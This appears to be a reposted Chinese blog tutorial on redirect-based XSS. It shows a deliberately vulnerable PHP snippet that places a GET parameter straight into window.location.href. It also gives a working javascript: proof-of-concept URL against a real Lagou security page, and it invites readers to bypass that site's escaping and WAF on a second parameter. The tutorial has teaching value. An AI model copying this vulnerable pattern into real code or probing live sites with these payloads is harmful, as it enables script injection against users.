XSS实战 跳转XSS

栏目: 编程工具 · 发布时间: 7年前

内容简介:跳转XSS实际上并不是一种新类型的攻击方式,主要形成原因是 以前网站外部跳转时是直接接受参数然后跳转,导致了URL重定向漏洞.而现在网站喜欢加个跳转页,不会直接跳转,而是接受参数然后用js跳转. 这就有一个问题 如果未验证参数, js跳转时是可以接受JavaScript伪协议执行js代码的.以拉勾网为例,作者打开页面都会先看看js里有什么信息.很快发现js里有这段代码

XSS实战: 跳转XSS

跳转XSS实际上并不是一种新类型的攻击方式,

主要形成原因是 以前网站外部跳转时是直接接受参数然后跳转,导致了URL重定向漏洞.而现在网站喜欢加个跳转页,不会直接跳转,而是接受参数然后用js跳转. 这就有一个问题 如果未验证参数, js跳转时是可以接受JavaScript伪协议执行js代码的.

漏洞代码示例

<?php
	echo "<script>window.location.href = $_GET['url']</script>";
?>

实战例子

以拉勾网为例,作者打开页面都会先看看js里有什么信息.很快发现js里有这段代码

XSS实战 跳转XSS

显然只有有参数的才能引起兴趣.作者快速尝试了 https://sec.lagou.com/verify.html?e=test1&f=test2

发现url参数直接进入了页面,当然与本次主题有关的是参数 f .虽然另一个更直接. 它在页面的位置是

function submit1(data){
        var host = "test2";
        $.ajax({
            url: 'parseSession',
            type: "post",
            dataType: "json",
            data: {
                challenge: data.challenge,
                errcode:1
            },
            success: function (result) {
                window.location.href = host;
            }
        })

        //$.getJSON('/user/sendCode.json', {t: new Date().getTime(), type: $('#contactSelect').val()}, function (data)
    }

尝试引入双引号.被转义了.所以这个参数就没问题了么?并不是.下面的代码使用了这个参数进行跳转.

可以使用 https://sec.lagou.com/verify.html?e=1&f=JavaScript:alert(1) 弹框.

首先拉勾网是没有src的,别想了. 另外现在这个问题似乎已经修复了?访问 https://sec.lagou.com/parseSession会302. .

e参数没修.e出现的代码为

$('#submit').click(function() {
        var code = document.getElementById('code').value;
        if (!code) {
            showError('请填写验证码');
            return;
        }
        else{
            console.log("111111")
            console.log(test1)
            $.ajax({
                url: 'checkcode',
                type: "post",
                dataType: "json",
                data: {
                    t: new Date().getTime(),
                    code: code,
                    errcode :test1;
                },
                success:function (data) {
                    console.log(data)
                    if (data.state == 1) {
                        goToUrl(getUrlParam("f"))
                    } else {
                        showError("验证码错误,请重新输入!")
                    }
                }
            })
        }
    });

双引号和单引号均被转义,有兴趣的读者可以作为对自己的挑战.还有过滤的waf


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

明解C语言(第3版)

明解C语言(第3版)

[日] 柴田望洋 / 管杰、罗勇、杜晓静 / 人民邮电出版社 / 2015-11-1 / 79.00元

本书是日本的C语言经典教材,自出版以来不断重印、修订,被誉为“C语言圣经”。 本书图文并茂,示例丰富,第3版从190段代码和164幅图表增加至205段代码和220幅图表,对C语言的基础知识进行了彻底剖析,内容涉及数组、函数、指针、文件操作等。对于C语言语法以及一些难以理解的概念,均以精心绘制的示意图,清晰、通俗地进行讲解。原著在日本广受欢迎,始终位于网上书店C语言著作排行榜首位。一起来看看 《明解C语言(第3版)》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

MD5 加密
MD5 加密

MD5 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具